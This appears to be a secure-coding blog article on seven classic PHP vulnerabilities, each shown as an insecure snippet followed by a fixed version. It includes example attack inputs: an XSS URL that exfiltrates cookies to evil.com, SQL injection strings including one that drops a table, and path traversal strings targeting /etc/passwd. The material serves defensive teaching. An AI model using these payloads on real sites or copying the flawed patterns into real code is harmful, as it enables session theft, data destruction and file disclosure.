PHP is one of the most widely used languages on the web, and the attack surface is correspondingly large when implementations are flawed. Many security vulnerabilities do not arise from complex weaknesses, but from simple, widespread code patterns that appear harmless at first glance. This article examines seven classic security pitfalls and shows the secure alternative in each case.
1. XSS via $_SERVER['REQUEST_URI'] in Forms
The Problem
A widely used pattern in older PHP code is directly outputting the current URL as the form action:
<!-- Insecure -->
<form method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
This line looks harmless but opens a classic Cross-Site Scripting (XSS) vulnerability. An attacker can manipulate the URL to embed JavaScript:
https://example.com/contact?"><script>document.location='https://evil.com/?c='+document.cookie</script>
Since $_SERVER['REQUEST_URI'] returns the entire URL string unfiltered, the script lands directly in the HTML source and is executed by the browser. Cookies, session data or other sensitive information can be transmitted to third parties.
The Secure Solution
The value must always be encoded with htmlspecialchars():
<!-- Secure -->
<form method="post" action="<?php echo htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8'); ?>">
Even better is to specify the action URL explicitly rather than reading it dynamically from the current URL:
<!-- Recommended -->
<form method="post" action="/contact">
Ground rule: Any output of user data or external input in HTML must be HTML-encoded.
2. SQL Injection via String Concatenation
The Problem
Directly embedding user input into SQL queries is one of the oldest and most dangerous vulnerabilities:
// Insecure
$username = $_POST['username'];
$result = mysql_query("SELECT * FROM users WHERE username = '" . $username . "'");
An attacker submits as username: ' OR '1'='1
The resulting query is:
SELECT * FROM users WHERE username = '' OR '1'='1'
This returns all records. With more destructive input like '; DROP TABLE users; -- the database can be destroyed.
The Secure Solution
Prepared statements with PDO or MySQLi are the only correct solution:
// Secure with PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $_POST['username']]);
$result = $stmt->fetch();
// Secure with MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
Prepared statements completely separate SQL code and data. User input is never interpreted as part of the SQL code.
3. Insecure File Uploads
The Problem
File upload functions without sufficient validation allow attackers to upload executable files to the server:
// Insecure
move_uploaded_file(
$_FILES['upload']['tmp_name'],
'uploads/' . $_FILES['upload']['name']
);
Problems:
- The filename comes unchanged from the client and can be
../../../etc/passwdorshell.php - The MIME type from
$_FILES['upload']['type']is sent by the client and can be forged - An uploaded PHP file can be executed directly if the upload directory is under the webroot
The Secure Solution
// Secure
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$originalName = $_FILES['upload']['name'];
$extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions, true)) {
throw new RuntimeException('File type not allowed.');
}
// Check MIME type server-side (do not trust client)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);
if (!in_array($mimeType, $allowedMimeTypes, true)) {
throw new RuntimeException('Invalid MIME type.');
}
// Generate a random, safe filename
$safeName = bin2hex(random_bytes(16)) . '.' . $extension;
// Upload directory outside webroot or with PHP execution disabled
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safeName);
4. Session Fixation and Session Hijacking
The Problem
Session fixation occurs when a session ID is not renewed before authentication:
// Insecure: session ID remains the same after login
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
$_SESSION['user'] = $_POST['user'];
}
An attacker can inject a known session ID into the URL. Once a victim authenticates, the session is valid under the known ID and the attacker takes over the session.
The Secure Solution
// Secure: regenerate session ID after login
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
session_regenerate_id(true);
$_SESSION['user'] = $_POST['user'];
}
Additional measures:
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax',
]);
session_start();
5. Insecure Password Storage
The Problem
MD5 and SHA1 have been considered insecure for password storage for years:
// Insecure
$hash = md5($_POST['password']);
$hash = sha1($_POST['password']);
Both algorithms are fast to compute. Modern graphics cards can calculate billions of hashes per second, making rainbow table attacks and brute-force attacks practical in a short time.
The Secure Solution
PHP has provided password_hash() since version 5.5, which automatically uses a strong algorithm and a random salt:
// Secure: hash the password
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Or stronger:
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);
// Verify password
if (password_verify($_POST['password'], $storedHash)) {
// Login successful
}
password_verify() is implemented in a timing-safe manner and prevents timing attacks.
6. CSRF Without Token Protection
The Problem
Cross-Site Request Forgery (CSRF) exploits the fact that browsers automatically send cookies with every request:
// Insecure: action without CSRF protection
if ($_POST['action'] === 'delete_account') {
delete_account($_SESSION['user_id']);
}
A third-party website can contain a hidden form that submits automatically, executing the action with the victim's credentials.
The Secure Solution
function generate_csrf_token(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function validate_csrf_token(string $token): bool {
return isset($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token);
}
// In the form
echo '<input type="hidden" name="csrf_token" value="'
. htmlspecialchars(generate_csrf_token(), ENT_QUOTES, 'UTF-8') . '">';
// On processing
if (!validate_csrf_token($_POST['csrf_token'] ?? '')) {
http_response_code(403);
exit('Invalid CSRF token.');
}
7. Directory Traversal in include/require
The Problem
If a filename from user input is passed directly to include or require, an attacker can read arbitrary files:
// Insecure
$page = $_GET['page'];
include('templates/' . $page . '.php');
A request with ?page=../../../../etc/passwd can expose system files.
The Secure Solution
// Secure: whitelist of allowed pages
$allowedPages = ['home', 'about', 'contact', 'blog'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowedPages, true)) {
$page = 'home';
}
include('templates/' . $page . '.php');
Or using realpath() to enforce directory boundaries:
$basePath = realpath(__DIR__ . '/templates');
$filePath = realpath($basePath . '/' . $page . '.php');
if ($filePath === false || !str_starts_with($filePath, $basePath)) {
http_response_code(400);
exit('Invalid page.');
}
include($filePath);
Summary
| Vulnerability | Insecure Pattern | Secure Alternative |
|---|---|---|
| XSS | echo $_SERVER['REQUEST_URI'] |
htmlspecialchars() |
| SQL Injection | String concatenation in queries | Prepared Statements (PDO/MySQLi) |
| File Upload | Uncontrolled upload | Whitelist + server-side MIME check + random filename |
| Session Fixation | Session ID unchanged after login | session_regenerate_id(true) |
| Password Hashing | MD5 / SHA1 | password_hash() with bcrypt or Argon2id |
| CSRF | Form without token | CSRF token with hash_equals() |
| Directory Traversal | include with GET parameter |
Whitelist or realpath() check |
Security comes from consistently applying proven patterns, not from retrofitting protection. Anyone who takes these seven ground rules into account from the start avoids the majority of vulnerabilities commonly found in PHP projects.
Kommentare
Kommentare werden von Remark42 bereitgestellt. Beim Laden werden Daten an unseren Kommentar-Server übertragen.